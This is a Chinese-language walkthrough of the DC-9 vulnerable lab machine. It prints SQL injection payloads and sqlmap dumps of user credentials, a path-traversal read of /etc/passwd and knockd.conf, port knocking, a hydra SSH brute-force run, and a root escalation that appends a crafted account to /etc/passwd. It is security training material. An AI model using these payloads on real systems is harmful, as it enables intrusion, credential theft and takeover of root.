DC-9 渗透测试 Walk through

信息收集

先寻找靶机,使用netdiscover命令发现靶机

netdiscover -r 192.168.140.0/24
IMG_256

nmap -sS -sV -A -p- 192.168.140.239 扫描靶机服务以及版本
IMG_256
靶机的22端口是filtered google一下发现可能是防火墙或者存在knockd
Knockd : 是一个用于实现端口敲击(Port Knocking)的工具,它允许用户通过在预定的端口序列上发送数据包来触发特定操作。端口敲击是一种安全策略,通过在未公开的端口上发送一系列特定的网络数据包,用户可以实现对其他服务或端口的访问。

先关注靶机开放的 80 端口以及相应版本信息 ,对于80的web服务进行访问
IMG_256
发现了四个主要的功能按钮,其中Display All Records 记录了一些user的信息
使用admin ‘ or 1=1 # 和 admin’ or 1=1 – 测试了登录入口 , 都不存在漏洞
IMG_256
于是将焦点对准Search功能,
IMG_256

可以看到搜索mary能正常回显mary的用户信息,这时我们打开bp到repeater进行一下sql注入手测
IMG_256

构造了
search=mary' and 1=1 #
依旧会回显mary的用户信息,说明此处存在sql注入漏洞
IMG_256

sql漏洞

sql注入手测

首先需要确定有多少列。为此,我们将利用”ORDER BY “,它将按所提供的列数值进行排序,我们将不断增加列数,直到我们获得无响应。

1
Mary' order by 1 # 

IMG_256
列数一直测试到Mary' order by 7 # 时,无回显数据 ,所以这里共有6 columns
IMG_256
使用语句

1
Mary' union select version(),user(),database(),4,5,6 #

提取出这台机器正在使用MariaDB,数据库客户端的用户名是dbuser,数据库名称为Staff。ID: 10.3.17-MariaDB-0+deb10u1

1
2
3
4
Name: dbuser@localhost Staff
Position: 4
Phone No: 5
Email: 6

IMG_256
现在我们需要提取表名,然后提取列,并将数据泄露出来。

1
' UNION SELECT 1,2,3,4,5,concat(schema_name) FROM information_schema.schemata -- '

IMG_256
发现主要有两个数据库,并通过下面语句发现当前数据库为Staff

1
' UNION SELECT 1,2,3,4,5,database() -- '

IMG_256
接下来确定staff数据库中的表名:

1
' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='Staff' -- '

IMG_256
Users数据库中的表名

1
' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='users' -- '

IMG_256

发现主要用三个表 StaffDetials、Users 、UserDetails,
确定UserDetails中的字段,

1
2
' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='UserDetails' -- '
> Id,firstname,lastname,username,password,reg_date

IMG_256

在UserDetails中发现了一些用户名和密码,先保存起来

1
' UNION SELECT id,firstname,username,password,reg_date,6 FROM users.UserDetails -- '

IMG_256

确定Users中的字段,

1
' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Users' -- '

IMG_256

发现admin用户和hash密码

1
' UNION SELECT 1,UserID,3,Username,Password,6 FROM Users -- '

IMG_256
得到管理员的密码

1
2
Admin
856f5de590ef37314e7c3bdf6f8a66dc

sqlmap注入

也可以使用sqlmap来完成这一sql漏洞
两种方式

1
2
sqlmap -u http://192.168.56.239/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump --batch
sqlmap -r search.request --dump -D Staff -T Users --batch

sqlmap -r
是 SQLMap 工具的一个选项,用于指定一个包含 HTTP 请求的文件,以便进行基于请求的 SQL 注入测试。这通常用于检测 web 应用程序中的数据库安全性。
IMG_256

密码爆破

使用john破解该散列值 , 在追完一天一夜的真探之后 ,还是没有破解完成,于是准备google一下在线破解网站
IMG_256
然后。。。。。。。
秒解开该散列值 ,但是不得不说真探第一季真的很好看
IMG_256
然后用admin用户登录
IMG_256

寻找可利用后门

下面的 File does not exist 联想起来之前做过的LFI文件包含漏洞
我们尝试使用最常见的LFI测试URL参数进行测试。我们在URL中插入测试参数,后跟welcome.php文件。添加了“?file=”以便将其指向服务器上的本地文件。我们尝试查找/etc/passwd文件,发现它是可访问的。这证明我们确实存在LFI漏洞。

1
http://192.168.56.21/welcome.php?file=../../../../../../../etc/passwd

IMG_256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

每一行表示一个用户,各字段之间由冒号分隔,包括用户名、密码(已被加密,这里用 x 表示)、用户ID、组ID、用户信息、家目录以及默认shell。

这里联想到前面的knockd协议 , 查一查相关的协议配置

1
http://192.168.56.239/welcome.php?file=../../../../../etc/knockd.conf

IMG_256
果然发现了相关配置

1
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

使用序列号7469,8475,9842去敲击靶机

1
2
3
nmap -p 7469 192.168.56.239
nmap -p 8475 192.168.56.239
nmap -p 9842 192.168.56.239

IMG_256
Ssh服务被打开!之前在数据库查到的 用户名和密码,使用hydra登录尝试登录该ssh服务

1
hydra -L dc9_user.txt -P dc9_passwd.txt 192.168.56.239 ssh

IMG_256
找到三个可以拥有ssh登录的权限

1
2
3
[22][ssh] host: 192.168.56.239   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.56.239 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.56.239 login: janitor password: Ilovepeepee

尝试这三个用户以及相应的权限,在janitor发现不同于前两个用户的文件夹
IMG_256
secrets-for-putin/中发现一个新的密码本 ,加到密码本重新跑一次hydra
IMG_256
新找到一个用户 login: fredf password: B4-Tru3-001
IMG_256
登录 fredf用户
其拥有之前用户没有的sudo -l权限
IMG_256
fredf 用户可以在该主机上以 root 用户的身份运行 /opt/devstuff/dist/test/test,而且执行这个命令时无需输入密码
IMG_256

权限提升

可以尝试用这个特性作为权限提取的方法
找到了 test.py。仔细查看后发现它是一个简单的数据追加程序。它将接受两个文件作为参数,然后将第一个文件的内容追加到第二个文件中。 再联想到/etc/passwd 说不定利用这点可以为我们创建一个特权用户

IMG_256

为了提升权限,我们决定创建一个具有 root 访问权限的新用户,并使用测试文件将该用户的条目添加到 /etc/passwd 文件中。让我们创建一个用户及其密码哈希。我们使用 OpenSSL 完成这个任务。在这里,我们创建了一个名为 hackyou 的用户,密码为 123456。获取哈希后,让我们转到目标机器。

1
2
openssl passwd -1 -salt hackyou 123456
$1$hackyou$J6zg4syjiVzLHrStsqW9X/

IMG_256

1
2
3
echo 'hackyou:$1$hackyou$J6zg4syjiVzLHrStsqW9X/:0:0::/root:/bin/bash' >> /tmp/ttt
sudo test /tmp/ttt /etc/passwd
su hackyou

成功转到拥有root权限的hackyou用户,拿到flag
IMG_256

总结

渗透总结

信息收集: 通过主机名 dc-9,发现了目标主机。使用端口扫描工具(nmap)检查目标主机上运行的服务和开放的端口。

Web 应用扫描: 发现目标主机上运行了一个 Web 应用程序。可能使用漏洞扫描工具(例如,Nessus、Nexpose)或手动探测来寻找潜在的漏洞。

发现 LFI 漏洞: 通过测试常见的 Local File Inclusion(LFI)漏洞,尝试访问目标主机上的文件系统。使用 URL 参数测试,发现了对 /etc/passwd 文件的可访问性,确认存在 LFI 漏洞。

Port Knocking 发现: 枚举目标主机上的文件,发现了 knockd.conf 文件,得知存在 Port Knocking 配置。了解到开启 SSH 服务需要按照一定顺序“敲击”一系列端口。

SSH 渗透: 利用 Port Knocking 的顺序,按照规定的端口敲击顺序,开启 SSH 服务。使用之前收集到的用户名和密码进行 SSH 身份验证,成功获取 SSH 访问权限。

MySQL 渗透: 在目标主机上运行 MariaDB,使用数据库客户端连接到数据库。提取数据库信息,包括数据库名为 Staff、user,用户为 dbuser。

SQL 注入测试: 通过 SQLMap 工具进行对 Web 应用的 SQL 注入测试,尝试获取数据库中的表名、列名和数据。可能使用 -r 选项指定包含 HTTP 请求的文件进行测试。

破解哈希: 使用 Hashcat 工具对获取到的哈希进行破解,可能尝试使用常见密码字典(例如 rockyou.txt)。

Privilege Escalation: 发现目标主机上存在一个可执行程序 test 允许以 root 权限执行。尝试通过该程序提升权限,创建一个具有 root 访问权限的新用户。

常见配置文件

协议配置通常保存在系统中的配置文件中,具体位置取决于使用的协议和操作系统。以下是一些常见的情况:
SSH(Secure Shell):

配置文件:/etc/ssh/sshd_config(对于大多数Linux系统)。
还可能存在其他位置,具体取决于操作系统和SSH软件包的版本。

knockd(端口敲击):

配置文件:/etc/knockd.conf(通常在Linux系统上)。

HTTP(Web服务器,如Apache或Nginx):

Apache配置文件:/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf。
Nginx配置文件:/etc/nginx/nginx.conf 或 /etc/nginx/sites-available/default。

FTP(文件传输协议):

vsftpd(Very Secure FTP Daemon)配置文件:/etc/vsftpd.conf。

SMTP(简单邮件传输协议):

邮件服务器软件(如Postfix或Exim)会有不同的配置文件,例如:
Postfix:/etc/postfix/main.cf。
Exim:/etc/exim4/exim4.conf。

DNS(域名系统):

Bind配置文件:/etc/named.conf 或 /etc/bind/named.conf。

数据库(如MySQL或PostgreSQL):

MySQL:/etc/my.cnf 或 /etc/mysql/my.cnf。
PostgreSQL:/etc/postgresql/{version}/main/postgresql.conf。